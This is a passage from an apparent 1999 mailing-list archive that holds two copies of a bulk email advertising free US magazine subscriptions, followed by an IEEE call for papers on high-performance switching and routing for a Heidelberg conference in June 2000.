Country:
Work Tel. #:
Work Fax #:
Home Tel. #:
Home Fax #:
Cellular (Mobile) Tel. #:
Beeper (Pager) Tel. #:

How did you hear about us (name of person/company who referred you or the
area of
the internet that you saw us mentioned in):  Referred by:  Tempting
Tear-Outs     
102399-em-l

Name of USA mags you currently get on the newsstand or in the store:

Name of USA mags you currently get on a subscription basis, through the
mail:

Name of USA mags you would like price quotes on when we call you:

Catalogue version desired (list number of choice below):

*------------cut here/end--------------------------------------------*



CATALOGUE VERSION CHOICES:

1.  This version can be read by everyone, no matter what type of 
     computer you use, or what type of software you use.  It is a simple
     format, with just our entire catalogue pasted into the body of a 
     single email message, 316K in size.  If you use pine or elm on a unix 
     system or an advanced software version such as Eudora Pro 3.0 or
     later, you will most likely receive it as a single email message.   
     However, if your software limits incoming email messages to a      
     certain size, say 32K or so, then your software will split it into 
     multiple email message parts.   Whether you receive it as a single 
     email message or multiple part email messages, you can easily 
     paste it into one whole text document with your word processor, in 
     about 10 minutes or so.
2.  For more advanced computer users:  attached plain ascii text file 
     ~316K - you must know how to download an attached text file and 
     then be able to locate it on your hard drive or system home 
     directory;  it can then be opened with any pc or mac word processing
     software.  If in doubt, don't ask for this version.  This isn't for 
     internet *newbies.* Better to order option 1 and spend a few minutes
     pasting them into one whole text document with your word processor,
     than to waste hours trying to figure how to deal with this option.
     This version is great for doing keyword searches and jumping around 
     within the catalogue with your word processing software, if your 
     normal email reading software doesn't allow this.

VERY IMPORTANT DIRECTIONS TO ENSURE THAT YOU GET A REPLY:

1.   no reply forms can be accepted by email....only via fax or smail.  
 
3.   your form must be typewritten or printed out on your computer printer
before you fax it;  sorry, but *no* handwritten forms will be acknowledged.
 If you can't find someone with a typewriter or a computer printer, we
apologize for not being able to reply to you.

4.   faxes with cover pages will be rejected.  You must send *only* the
reply form.

5.   forms not *completely* filled in will not be acknowledged.

6.   you will receive a reply within 1 business day directly from the
company making the offer via email.  Therefore you must have an email
address.  If you read this message, then you must have an email address, or
access to one, at least.   :-)

7.   your fax must not exceed 1 page in length.   Faxes of 2 or more pages
will be detected, then auto-terminated and deleted.  Your fax goes directly
onto our 10.0 gigabyte hard drive and we must limit all incoming faxes to 1
page.

8.   all faxes must begin with:
*------------cut here/begin-------------------------------------------*
and must end with:
*------------cut here/end--------------------------------------------*

9. Any fax not conforming to this format will be sensed by our software,
then auto-terminated and deleted from the hard drive, before any human ever
gets to see it.

10. The type on your fax must be dark and legible.   If in doubt, please
print it out darker before faxing it in.  If we can't read it, we can't
reply to you or send you our FREE catalogue.     :-(

11.  If this all seems too complicated for faxing, just do it the old
fashioned way via smail!!!


WHO WE ARE:

Tempting Tear-Outs is an advertising company that brings potential new
customers to the companies they advertise for.

 
MORE ABOUT THE COMPANY MAKING THE FREE OFFER AND THE FREE OFFER ITSELF:

The company making the offer is a magazine subscription agency based in the
USA.  They have over 1,100 popular USA titles available to be shipped to
ANY country, including of course, to anywhere in the USA!    They offer a
FREE 1 yr. subscription to your choice of over 200 of the titles in their
catalogue to any new customer using them for the first time.       The 
dollar value of the freebies, based on the subscription prices directly
from the publishers, ranges from $6.97 all the way up to $50.00!

For new customers in the USA, there is no charge for FPH (foreign postage &
handling), so the freebie is 100% free!   For new customers living
overseas, the only charge on the freebie would be for the FPH (foreign
postage & handling).

Their president has been in the magazine subscription business since 1973
and they are very customer-service oriented.   They will even help you with
address changes on your magazines, even if you move from one country to
another country.   They have thousands of happy customers in over 59
countries.

Their price guarantee is very simple:       they guarantee that their
subscription prices are the lowest available and they will BEAT any
legitimate, verifiable offer before you pay them or match it afterwards, by
refunding you the difference in price PLUS the cost of the postage stamp
you would use sending in the special offer to them, even 6 months after you
pay them, as long as it was current at the time of your offer.    Does that
sound fair?       Wouldn't it be great if everything you bought came with
that price guarantee?  

Sometimes they are less than half of the next best deal out there,
sometimes just a little cheaper, but always you get the lowest rates
without having to shop around.     With 1,100+ titles on their list, they
would like to think that they have also the best selection around!

Within the USA, for their USA customers, they are cheaper than all their
competitors and even the publishers themselves.  This is their price
guarantee.         The 1 yr. freebie that you get with your first order is
completely free!   

Overseas, (even after you factor in the cost of the FPH (foreign postage &
handling) and the conversion from USA Dollars to your currency), on the
average, they are generally around one-fourth to one-half of what the
newsstands overseas charge locally for USA magazines.  On some titles they
are as little as one-tenth of what the newsstands charge.  They are also
the cheapest subscription source for delivery overseas, including directly
from the publishers themselves!   Some publishers don't even offer
subscriptions overseas.........but overseas subscriptions are this
company's specialty!  They feel that magazines should not be a luxury
overseas.   In the USA, people buy magazines and then toss them after
reading them for just a few minutes or hours.  They are so cheap in the
USA!   Well, this company would like to make it the same way for their
overseas customers.  They are also cheaper than all their competitors in
the USA and overseas, including the publishers themselves!   It is also
*highly unlikely* you will find any of their USA competitors calling you
overseas, in order to offer that personal touch, just to sell you a couple
of magazines!  But that is what this company specializes in and loves
doing!     Around one-half their business comes from overseas, so they are
very patient with new customers who only speak limited English as a 2nd
language.    Subscription prices quoted for overseas consist of the
subscription price, plus the FPH.   You add the two together and that is
your total cost.   The exception is the 1 yr. freebie you get with your
first order.   On that title, you pay *only* the FPH for the 1 yr. term.

Their prices are so cheap because when you deal with them, you cut-out all
the middlemen.


HERE IS HOW YOU CAN GET MORE INFO AND GET STARTED WITH THEM:

Simply fax or smail back to us the reply form listed at the top of this
message.   We will then forward your form on to the subscription agency. 
They will then email their "big and juicy" catalogue to you, in whichever
of the two formats you chose.   The catalogue is FREE and makes for hours
of fascinating reading, on its own. It includes the complete list of
freebies, a complete list of all the titles they sell, as well as detailed
descriptions on most of the titles, along with lists of titles by category
of interest and their terms of sale.    

They will then give you a friendly, no-pressure, no obligation, 5-minute
call to go over how they work and to answer any questions that you might
have, as well as give you up-to-the minute price quotes on any titles you
might be considering.     They will call you in whatever country you live
in, taking the time difference into account.        As they like to
emphasize the personal touch they give to each new customer, all first-time
orders can only be done via phone, so they can answer all your questions
completely and personally.   Once you have placed your first order via
phone, you will be able to place future orders and make inquiries on your
account, get price quotes, etc., all via email, if that is most convenient
for you.

Within the USA, they accept payment via check over the phone, Mastercard,
Visa, American Express, Diner's Club and Carte Blanche.    Overseas, they
accept Mastercard, Visa, American Express, Diner's Club and Carte Blanche,
even if your credit card is a local one in local currency (that most
merchants in the USA would not normally be willing to accept).

That's our introduction of our client that we represent.   We hope that we
have piqued your interest and that you will take the next step to get their
free catalogue!   Thank you for your time and interest.

--
Tempting Tear-Outs.
For more info on marketing & consulting rates, please write us on your
company letterhead, w/business card, via smail to:   Tempting Tear-Outs,
PMB 200, 3835 Richmond Ave., Staten Island NY  10312-3828, USA.     

This email message has been sent to you by:  Tempting Tear-Outs, PMB 200,
3835 Richmond Ave., Staten Island NY  10312-3828, USA..     


TO BE REMOVED FROM OUR MAILING LIST:

There are 4 easy ways to let us know that you would like to be removed from
our mailing list:

1. 	email us at our "from" email address at the top of this message, with a
subject of 	"remove" and a blank body OR

2. 	fax us a 1-line message at:    1-435-302-5907* ;   the 1-line message
should say:  	"Remove  	________@_________   (your email address)" OR

3.	leave us a 1-sentence voicemail message at:    1-435-302-5907* ;   the
1-sentence 	message should say:  	"Remove  	________@_________   (your
email 	address)";  please speak clearly and spell out your email address
phonetically OR

4. 	mail us a 1-line message at:   Tempting Tear-Outs, PMB 200, 3835
Richmond Ave., 
      	Staten Island NY  10312-3828;  the 1-line message should say:
	"Remove  ________@_________   (your email address)."

*Please note:  1-435-302-5907 is ONLY for remove requests.      For more
information, please use the fax numbers listed earlier above the reply
form, following the directions very carefully.      Requests for more
information forms sent to 1-435-302-5907 CANNOT be acknowledged.


From confctrl-owner  Tue Oct 26 00:09:38 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA28953
	for confctrl-outgoing; Tue, 26 Oct 1999 00:09:38 -0700 (PDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA28948
	for <confctrl@zephyr.isi.edu>; Tue, 26 Oct 1999 00:09:37 -0700 (PDT)
Received: from surfree.com (ppp51.remote.brainlink.com [206.127.59.51])
	by boreas.isi.edu (8.8.7/8.8.6) with SMTP id AAA24827
	for <confctrl@zephyr.isi.edu>; Tue, 26 Oct 1999 00:09:20 -0700 (PDT)
Date: Tue, 26 Oct 1999 03:05:42 -0400
From: "Tempting Tear-Outs" <temptear@surfree.com>
Message-ID: <B43ACB06.A74B3@[206.127.59.51]>
To: =?ISO-8859-1?Q?=9D=A1?= <confctrl@ISI.EDU>
Subject: FREE* 1 yr USA Magazine Sub sent worldwide-200+ Choices
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

===>> FREE* 1 yr USA Magazine Sub sent worldwide-200+ Choices!  Up to
$81.00 value!   (*with your first purchase of any size of any new or
renewal subscription;  customers living overseas pay only for FPH (foreign
postage & handling) on the free subscription).


To be removed from our mailing list, please see instructions at the end of
this message.


FOR MORE INFO:   please "cut out" the below form on the "cut" lines shown,
and fax it, for the fastest reply to either our USA or United Kingdom fax
numbers:            
                                     1-602-294-5643   (fax # in the USA)
                                                         OR FAX US AT
                                     44-7050-696528   (fax # in the United
Kingdom)

or send via smail (first class mail or airmail) to:    
                              Tempting Tear-Outs / Att.
Free-catalogue-by-email Dept
                               PMB 200
                               3835 Richmond Ave.  
                               Staten Island NY  10312-3828
                               USA

SORRY, BUT.... our software is not set up to accept the below form via
return email;   WE CAN ONLY acknowledge forms sent in via fax or smail.

--> IMPORTANT complete directions, to ensure that you get a reply, and more
info follow, below the reply form and the catalogue options.


*------------cut here/begin-------------------------------------------*

Name (First Middle Last):
Internet email address:
Smail home address:
City-State-Zip:
Country:
Work Tel. #:
Work Fax #:
Home Tel. #:
Home Fax #:
Cellular (Mobile) Tel. #:
Beeper (Pager) Tel. #:

How did you hear about us (name of person/company who referred you or the
area of
the internet that you saw us mentioned in):  Referred by:  Tempting
Tear-Outs     
102499-em-l

Name of USA mags you currently get on the newsstand or in the store:

Name of USA mags you currently get on a subscription basis, through the
mail:

Name of USA mags you would like price quotes on when we call you:

Catalogue version desired (list number of choice below):

*------------cut here/end--------------------------------------------*



CATALOGUE VERSION CHOICES:

1.  This version can be read by everyone, no matter what type of 
     computer you use, or what type of software you use.  It is a simple
     format, with just our entire catalogue pasted into the body of a 
     single email message, 316K in size.  If you use pine or elm on a unix 
     system or an advanced software version such as Eudora Pro 3.0 or
     later, you will most likely receive it as a single email message.   
     However, if your software limits incoming email messages to a      
     certain size, say 32K or so, then your software will split it into 
     multiple email message parts.   Whether you receive it as a single 
     email message or multiple part email messages, you can easily 
     paste it into one whole text document with your word processor, in 
     about 10 minutes or so.
2.  For more advanced computer users:  attached plain ascii text file 
     ~316K - you must know how to download an attached text file and 
     then be able to locate it on your hard drive or system home 
     directory;  it can then be opened with any pc or mac word processing
     software.  If in doubt, don't ask for this version.  This isn't for 
     internet *newbies.* Better to order option 1 and spend a few minutes
     pasting them into one whole text document with your word processor,
     than to waste hours trying to figure how to deal with this option.
     This version is great for doing keyword searches and jumping around 
     within the catalogue with your word processing software, if your 
     normal email reading software doesn't allow this.

VERY IMPORTANT DIRECTIONS TO ENSURE THAT YOU GET A REPLY:

1.   no reply forms can be accepted by email....only via fax or smail.  
 
2.   your form must be typewritten or printed out on your computer printer
before you fax it;  sorry, but *no* handwritten forms will be acknowledged.
 If you can't find someone with a typewriter or a computer printer, we
apologize for not being able to reply to you.

3.   forms not *completely* filled in will not be acknowledged.

6.   you will receive a reply within 1 business day directly from the
company making the offer via email.  Therefore you must have an email
address.  If you read this message, then you must have an email address, or
access to one, at least.   :-)

7.   your fax must not exceed 2 pages in length (*including* cover page); 
your first page may be a cover page, but your reply form must appear on
next page if you include a cover page.   Faxes of 2 or more pages will be
detected, then auto-terminated and deleted.  Your fax goes directly onto
our 10.0 gigabyte hard drive and we must limit all incoming faxes to 1
page.

8.   all faxes must begin with:
*------------cut here/begin-------------------------------------------*
and must end with:
*------------cut here/end--------------------------------------------*

9. Any fax not conforming to this format will be sensed by our software,
then auto-terminated and deleted from the hard drive, before any human ever
gets to see it.

10. The type on your fax must be dark and legible.   If in doubt, please
print it out darker before faxing it in.  If we can't read it, we can't
reply to you or send you our FREE catalogue.     :-(

11.  If this all seems too complicated for faxing, just do it the old
fashioned way via smail!!!


WHO WE ARE:

Tempting Tear-Outs is an advertising company that brings potential new
customers to the companies they advertise for.

 
MORE ABOUT THE COMPANY MAKING THE FREE OFFER AND THE FREE OFFER ITSELF:

The company making the offer is a magazine subscription agency based in the
USA.  They have over 1,100 popular USA titles available to be shipped to
ANY country, including of course, to anywhere in the USA!    They offer a
FREE 1 yr. subscription to your choice of over 200 of the titles in their
catalogue to any new customer using them for the first time.       The 
dollar value of the freebies, based on the subscription prices directly
from the publishers, ranges from $6.97 all the way up to $50.00!

For new customers in the USA, there is no charge for FPH (foreign postage &
handling), so the freebie is 100% free!   For new customers living
overseas, the only charge on the freebie would be for the FPH (foreign
postage & handling).

Their president has been in the magazine subscription business since 1973
and they are very customer-service oriented.   They will even help you with
address changes on your magazines, even if you move from one country to
another country.   They have thousands of happy customers in over 59
countries.

Their price guarantee is very simple:       they guarantee that their
subscription prices are the lowest available and they will BEAT any
legitimate, verifiable offer before you pay them or match it afterwards, by
refunding you the difference in price PLUS the cost of the postage stamp
you would use sending in the special offer to them, even 6 months after you
pay them, as long as it was current at the time of your offer.    Does that
sound fair?       Wouldn't it be great if everything you bought came with
that price guarantee?  

Sometimes they are less than half of the next best deal out there,
sometimes just a little cheaper, but always you get the lowest rates
without having to shop around.     With 1,100+ titles on their list, they
would like to think that they have also the best selection around!

Within the USA, for their USA customers, they are cheaper than all their
competitors and even the publishers themselves.  This is their price
guarantee.         The 1 yr. freebie that you get with your first order is
completely free!   

Overseas, (even after you factor in the cost of the FPH (foreign postage &
handling) and the conversion from USA Dollars to your currency), on the
average, they are generally around one-fourth to one-half of what the
newsstands overseas charge locally for USA magazines.  On some titles they
are as little as one-tenth of what the newsstands charge.  They are also
the cheapest subscription source for delivery overseas, including directly
from the publishers themselves!   Some publishers don't even offer
subscriptions overseas.........but overseas subscriptions are this
company's specialty!  They feel that magazines should not be a luxury
overseas.   In the USA, people buy magazines and then toss them after
reading them for just a few minutes or hours.  They are so cheap in the
USA!   Well, this company would like to make it the same way for their
overseas customers.  They are also cheaper than all their competitors in
the USA and overseas, including the publishers themselves!   It is also
*highly unlikely* you will find any of their USA competitors calling you
overseas, in order to offer that personal touch, just to sell you a couple
of magazines!  But that is what this company specializes in and loves
doing!     Around one-half their business comes from overseas, so they are
very patient with new customers who only speak limited English as a 2nd
language.    Subscription prices quoted for overseas consist of the
subscription price, plus the FPH.   You add the two together and that is
your total cost.   The exception is the 1 yr. freebie you get with your
first order.   On that title, you pay *only* the FPH for the 1 yr. term.

Their prices are so cheap because when you deal with them, you cut-out all
the middlemen.


HERE IS HOW YOU CAN GET MORE INFO AND GET STARTED WITH THEM:

Simply fax or smail back to us the reply form listed at the top of this
message.   We will then forward your form on to the subscription agency. 
They will then email their "big and juicy" catalogue to you, in whichever
of the two formats you chose.   The catalogue is FREE and makes for hours
of fascinating reading, on its own. It includes the complete list of
freebies, a complete list of all the titles they sell, as well as detailed
descriptions on most of the titles, along with lists of titles by category
of interest and their terms of sale.    

They will then give you a friendly, no-pressure, no obligation, 5-minute
call to go over how they work and to answer any questions that you might
have, as well as give you up-to-the minute price quotes on any titles you
might be considering.     They will call you in whatever country you live
in, taking the time difference into account.        As they like to
emphasize the personal touch they give to each new customer, all first-time
orders can only be done via phone, so they can answer all your questions
completely and personally.   Once you have placed your first order via
phone, you will be able to place future orders and make inquiries on your
account, get price quotes, etc., all via email, if that is most convenient
for you.

Within the USA, they accept payment via check over the phone, Mastercard,
Visa, American Express, Diner's Club and Carte Blanche.    Overseas, they
accept Mastercard, Visa, American Express, Diner's Club and Carte Blanche,
even if your credit card is a local one in local currency (that most
merchants in the USA would not normally be willing to accept).

That's our introduction of our client that we represent.   We hope that we
have piqued your interest and that you will take the next step to get their
free catalogue!   Thank you for your time and interest.

--
Tempting Tear-Outs.
For more info on marketing & consulting rates, please write us on your
company letterhead, w/business card, via smail to:   Tempting Tear-Outs,
PMB 200, 3835 Richmond Ave., Staten Island NY  10312-3828, USA.     

This email message has been sent to you by:  Tempting Tear-Outs, PMB 200,
3835 Richmond Ave., Staten Island NY  10312-3828, USA..     


TO BE REMOVED FROM OUR MAILING LIST:

There are 4 easy ways to let us know that you would like to be removed from
our mailing list:

1. 	email us at our "from" email address at the top of this message, with a
subject of 	"remove" and a blank body OR

2. 	fax us a 1-line message at:    1-435-302-5907* ;   the 1-line message
should say:  	"Remove  	________@_________   (your email address)" OR

3.	leave us a 1-sentence voicemail message at:    1-435-302-5907* ;   the
1-sentence 	message should say:  	"Remove  	________@_________   (your
email 	address)";  please speak clearly and spell out your email address
phonetically OR

4. 	mail us a 1-line message at:   Tempting Tear-Outs, PMB 200, 3835
Richmond Ave., 
      	Staten Island NY  10312-3828;  the 1-line message should say:
	"Remove  ________@_________   (your email address)."

*Please note:  1-435-302-5907 is ONLY for remove requests.      For more
information, please use the fax numbers listed earlier above the reply
form, following the directions very carefully.      Requests for more
information forms sent to 1-435-302-5907 CANNOT be acknowledged.


From confctrl-owner  Tue Oct 26 08:59:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA17865
	for confctrl-outgoing; Tue, 26 Oct 1999 08:59:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA17860
	for <confctrl@zephyr.isi.edu>; Tue, 26 Oct 1999 08:59:06 -0700 (PDT)
Received: from tokyo.ccrle.nec.de (tokyo.ccrle.nec.de [195.37.70.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA02142
	for <confctrl@isi.edu>; Tue, 26 Oct 1999 08:59:04 -0700 (PDT)
Received: from lallafa (lalafa.heidelberg.ccrle.nec.de [192.168.102.101])
	by tokyo.ccrle.nec.de (8.8.8/3.6W980303HK) with SMTP id RAA18933;
	Tue, 26 Oct 1999 17:56:19 +0200 (CEST)
Message-ID: <0f5d01bf1fd1$94df95d0$6566a8c0@lallafa.heidelberg.ccrle.nec.de>
From: "Sibylle Schaller" <Sibylle.Schaller@ccrle.nec.de>
To: <announcements.chi@xerox.com>, <commsoft@cc.bellcore.com>,
        <cnom@maestro.bellcore.com>, <confctrl@ISI.EDU>,
        <CONFERENCES@IAO.FHG.DE>, <conf@colmar.uha.fr>,
        <COST237-TRANSPORT@COMP.LANCS.AC.UK>, <Cost264@lip6.fr>,
        <domain3@BXL.DG13.cec.be>, <nichains@BXL.DG13.cec.be>,
        <diff-serv-interest@BayNetworks.COM>, <end2end-interest@ISI.EDU>,
        <gi-fb3@fokus.gmd.de>, <kuvs-elg@fokus.gmd.de>, <giga@tele.pitt.edu>,
        <IEEETCPC@LISTSERV.UTORONTO.CA>, <tcgn@ieee.org>,
        <IETF-Announce@es.net>, <itc@ieee.org>, <multicomm@cc.bellcore.com>,
        <netnomics@eco.utexas.edu>, <sigmetrics@haven.epm.ornl.gov>,
        <tccc@majordomo.ieee.org>, <kgold@firstconf.com>,
        <cellular@dfv.rwth-aachen.de>, <comswtc@gmu.edu>
Subject: CfP: Conference on High Performance Switching & Routing  in June 2000
Date: Tue, 26 Oct 1999 17:45:48 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

My sincere apology if you receive multiple copies of this CFP.
Please feel free to pass the CFP to anyone who might be interested.


Kind regards,
Sibylle Schaller

----------------------------------------------------------------------------
---

Call For Papers

Conference on High Performance Switching & Routing

Joint

IEEE ATM Workshop 2000 and
3rd International Conference on ATM (ICATM'2000)

June 26-29, 2000
Crowne Plaza Hotel, Heidelberg, Germany

Sponsored by the IEEE Communication Society

Supported by:
VDE, EC Information Society Technologies, EURESCOM GmbH,
Alcatel SEL AG, Cisco Systems GmbH, Deutsche Telekom AG,
Ericsson Eurolab Deutschland GmbH,  IBM Deutschland GmbH,
Lucent Technologies GmnH, NEC Europe Ltd., Siemens AG

For a nicely formatted version of this Call for Papers as
well as for any other information related to this event
please check the conference website under

URL: http://www.ccrle.nec.de/heidelberg/atm2000


Conference Scope

A wide variety of ATM products have been developed for local
and wide-area, private and public networks. First-generation
ATM public services have been deployed on a global basis and
efforts are underway to implement full-service, large-scale
ATM networks. Wired (xDSL, HFC) and wireless (W-ATM) access
networks enabling end-to-end ATM services are becoming available.
Integration between ATM and IP evolves rapidly. Researchers and
practitioners are studying issues like network design, network
performance and traffic engineering, network reliability and
survivability, charging and tariffing, quality of service and
multicast support. At the same time next generation switching
and routing technologies including IP over SONET/SDH or IP over
WDM are being developed, converging cell and packet switching
architectures. Driving applications for integrated networks
become visible, namely Virtual Private Networks (VPN),
Voice over Packet (VOP) and group communication services like
conferencing and video on demand (VOD). They create new
requirements on network architecture and management.

The purpose of the conference is to share ideas, experiences,
and information among researchers, developers, and service
providers in the field of data, voice and multimedia
communications using ATM and other high-speed switching and
routing technologies, including Gigabit/Terabit switch/routers
for optical networks.

Original papers are hereby solicited on such topics as
(but not limited to):

1. ATM Networks
1.1. ATM/WDM Networks
1.2. Broadband Access Networks (xDSL,HFC,PON)
1.3. Wireless / Mobile ATM
1.4. Satellite-Based ATM
1.5. ATM and UMTS/IMT2000
1.6. Interworking

2. ATM Switching
2.1. ATM Switch Architectures
2.2. Large-Scale Switch Implementations and Performance
2.3. Broadcasting/Multicasting

3. Signaling and Control
3.1. Broadband Signaling
3.2. Large-scale Call Processing Architectures.
3.3. PNNI, I-PNNI
3.4. QoS Routing
3.5. Signaling Interworking (ATM, PSTN, VoIP,...)

4. Traffic Engineering
4.1. ATM Traffic Modeling
4.2. Cell and Packet Level Scheduling
4.3. UBR,VBR, ABR, CBR Performance
4.4. Traffic Engineering
4.5. Network Design and Dimensioning
4.6. Network Optimization

5. ATM/IP Integration
5.1. IP/ATM Integration: MPLS, MPOA, ...
5.2. IP Multicasting over ATM
5.3. IPv6 over ATM
5.4. TCP over ATM
5.5. IP over ATM vs. native IP

6. Integrated Services, Multimedia
6.1. Native ATM Applications and  Interfaces
6.2. QoS and CoS
6.3. IntServ and Diffserv
6.4. Video Coding and Transmission
6.5. VToA, VoP, VoIP
6.6. Multimedia Traffic Characteristics

7. Management and Control
7.1. Software Architectures for Switch/Router Control
7.2. Traffic Management Functions (UPC,CAC,...)
7.3. Tariffing, Charging and Accounting
7.4. Virtual Private Networks, VLANs,...
7.5. Network/VPN Security
7.6. Survivability, Fault Tolerance, Self-Healing,...
7.7. Network and Service Management
7.8. Service Provisioning

8. Gigabit/Terabit Routers
8.1. High-Speed Packet Switching and Routing
8.2. Switching & Routing for WDM
8.3. IP over SONET/SDH and IP over WDM
8.4. MPLS over WDM
8.5. Multicast Routing

9. Real User Networks
9.1. Operational Experience
9.2. User Experiences
9.3. Business Aspects
9.4. Network Evolution

10. Alternative Technologies
10.1. DTM
10.2. Photonic Switching
10.3. others


Instructions for Authors:

Send an electronic version of your submission to the address
below. Submissions should be extended abstracts (2000 - 3000
words) summarizing original work. All the manuscripts must be
written in English. The first page of each paper should contain
the title of the paper, the authors' name(s), affiliation,
address, telephone and fax numbers, e-mail of the author
responsible for correspondence,  a list of four keywords and
categories from the above list as well as a summary of up
to 100 words of the main achievements in your contribution.

Electronic submissions are strongly encouraged.
Acceptable formats are PDF, Postscript Level 2, RTF,
FrameMaker Vs.5,  Word 97. Please use A4 paper format
when formatting your submission!

Authors of accepted papers will later be required to submit
an IEEE copyright form, please assure that you have all
necessary authorizations in place. Typing instructions
for accepted full papers can be downloaded from
http://www.vde-verlag.de.

All submitted papers should be sent to the following address:

Dr. Heinrich J. Stüttgen,
General Chair IEEE ATM Workshop 2000 & ICATM 2000
Computer and Communcation Research Laboratories
NEC Europe Ltd.
Adenauerplatz 6
D-69115 Heidelberg, Germany
Phone: +49 6221 905 11-0
Fax:     +49 6221 905 11-55
E-mail: ATM2000@ccrle.nec.de

Important Dates:

Submission of extended abstract due:             January 10th, 2000
(Ext. Abstracts of approx. 5 pages or 2500 words)

Authors notified:                                March 15th, 2000
Final camera ready papers due:                   April 17th, 2000
(Final papers of max. 5000 Words or 10 Pages)


Tutorials:

On Monday, June 26th, 2000 the workshop will begin with
two half day tutorials focusing on emerging technologies
in the areas of ATM, WDM Switching, IP over WDM, Gigabit Routing,
IP/ATM in UMTS/IMT2000, Multimedia Communication or related
subjects. Researchers interested in proposing/presenting a
tutorial at ATM 2000 should contact the workshop chair via email
under ATM2000@ccrle.nec.de to inquire for details.


Workshop Committees

General Chair (IEEE ATM Workshop)
Heinrich J. Stüttgen, C&C Research Laboratories,
NEC Europe Ltd., Heidelberg, Germany

General Co-Chair (ICATM)
Pascal Lorenz, University Haute Alsace, Colmar, France

Technical Co-Chairs
Jonathan Turner, Washington University, St.Louis, USA
Naoaki Yamanaka, NTT Network System Laboratories, Tokyo, Japa


Organizing Committee

H. Besier, Deutsche Telekom AG, Germany
H. Brueggemann, EURESCOM GmbH, Germany
C. Carrelli, EURESCOM GmbH, Germany
W. Frohberg, Alcatel SEL AG, Germany
B. Jabbari, George Mason University, USA
P. Kuehn, Stuttgart University, Germany
R. Rompel (Treasurer), VDE, Germany
F. Sass, Siemens AG & ATM Forum, Germany
S. Schaller, NEC Europe Ltd., Germany


IEEE ATM Workshop Advisory Board

A. Casaca, IST/INESC, Portugal
G. Copeland, CSC, USA
J. P. Coudreuse, Mitsubishi, France
M. Decina, CEFRIEL, Italy
G. Dobrowski, Ficon Technologies, USA
D. Dorman, Nortel Networks, Australia
B. Goode, IBM, USA
R. Guerin, Univ. of Pennsylvania, USA
Y. Inoue, NTT, Japan
B. Jabbari, G.Mason University, USA
P. Kühn, Univ. Stuttgart, Germany
A. Leon-Garcia, Univ, of Toronto, Canada
L. Mason, INRS-Telecom, Canada
G. Pujolle, Lab. PRISM, France
J. Roberts, France Telecom, France
M. Schwartz, Columbia University, USA
H. Stuettgen, NEC Europe, Germany
S. Suzuki, NTT, Japan
S. Tohme, ENST, France
R. Vickers, NORTEL, Canada
S. Walters, Telcordia, USA
S. Weinstein, NEC America, USA


Joint Technical Program Committe

D. Awduche, UUNET, USA
A. Baiocchi, Univ. Rome, Italy
K. Begain,  Mu'tah Univ., Jordan
A. Benslimane, Tech. Univ. of Belfort, France
B. Bing, University of Maryland, USA
C. Blondia, Univ. of Antwerp, Belgium
D. Boettle, Alcatel SEL, Germany
D. Bonjour, France Telecom CNET, France
T. Braun, Berne University,Switzerland
B. Butscher, GMD FOKUS, Germany
A. Choudhury, Bell Labs, USA
O. Casals, Univ. Politecnica Catalonia, Spain
P. de Sousa, DG XIII, European Commission
J. Eberspächer, Tech.Univ Munich, Germany
W. Fischer, Cisco, Germany
K.D. Grohs, Deutsche Telekom AG, Germany
J. Hayes, Concordia University, Canada
R.G. Herrtwich, DaimlerChrysler, Germany
B. Hirosaki, NEC, Japan
Z. Hulicki, Univ. of Cracow, Poland
A. Jajszczyk, ITTI Ltd. and AGH, Poland
M. Karol, Bell Labs, USA
R. Keller, Ericsson Eurolab, Germany
U. Killat, TU Hamburg Harburg, Germany
D. Kofman, ENST, France
S. Komandur, Lucent Technologies, USA
S. Kumar, DARPA, USA
G.S. Kuo, National Central Univ., Taiwan
M.M. Lee, Dongshin University, Korea
F. Le Faucheur, Cisco, France
P. Lorenz, Univ. Haute Alsace, France
Z. Mammeri, IRIT/Univ. P.Sabatier, France
N. Mastorakis, Military Institute of Univ. Educ., Greece
P. Morreale, Stevens Inst. of Techn., USA
M. Murata, Osaka Univ., Japan
M. Nunes, IST/INESC, Portugal
G. Omidyar, CSC, USA
M. Pullen, G.Mason Univ., USA
M. Potts, Martel, Switzerland
S. Rao, Telscom AG, Switzerland
E. Rathgeb, Univ. Essen, Germany
G. Reali, Univ. di Perugia, Italy
S. Ritzenthaler, Newbridge, France
H. Saito, NTT, Japan
K. Sauer, Bosch AG, Germany
D. Serpanos, ICS FORTH, Greece
V. Trecordi, CEFRIEL, Italy
D. Tsang, Hong Kong University Hong Kong
P. van Mieghem, Delft University,Netherlands
R. Wille-Fier, Siemens AG, Germany
L. Wolf, Tech. Univ. Darmstadt, Germany
A. Wolisz, Tech. Univ. Berlin, Germany
F. Yegenoglu, COMSAT Labs, USA
M. Zitterbart, TU Braunschweig, Germany


From confctrl-owner  Wed Oct 27 05:40:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA06795
	for confctrl-outgoing; Wed, 27 Oct 1999 05:40:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA06790
	for <confctrl@zephyr.isi.edu>; Wed, 27 Oct 1999 05:40:33 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA18397
	for <confctrl@isi.edu>; Wed, 27 Oct 1999 05:40:32 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
